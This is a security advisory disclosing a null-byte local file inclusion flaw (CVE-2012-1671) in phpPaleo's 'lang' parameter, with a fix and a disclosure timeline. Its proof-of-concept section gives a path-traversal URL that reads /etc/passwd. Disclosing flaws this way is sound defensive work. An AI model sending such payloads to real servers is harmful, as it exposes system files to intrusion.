'phpPaleo' Local File Inclusion (CVE-2012-1671)
Mark Stanislav - mark.stanislav@gmail.com
I. DESCRIPTION
---------------------------------------
A vulnerability exists in index.php for language handling that allows for local file inclusion using a null-byte attack on the 'lang' GET parameter.
II. TESTED VERSION
---------------------------------------
4.8b156
III. PoC EXPLOIT
---------------------------------------
http://localhost/phppaleo/index.php?lang=../../../../../../../etc/passwd%00
IV. NOTES
---------------------------------------
* magic_quotes_gpc must be disabled and PHP must be < 5.3.4 for null-byte attacks to work
V. SOLUTION
---------------------------------------
Upgrade to 4.8b157 or above.
VI. REFERENCES
---------------------------------------
http://sourceforge.net/projects/phppaleo/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1671
VII. TIMELINE
---------------------------------------
03/01/2012 - Initial vendor disclosure
03/02/2012 - Vendor patched and released an updated version
04/04/2012 - Public disclosure
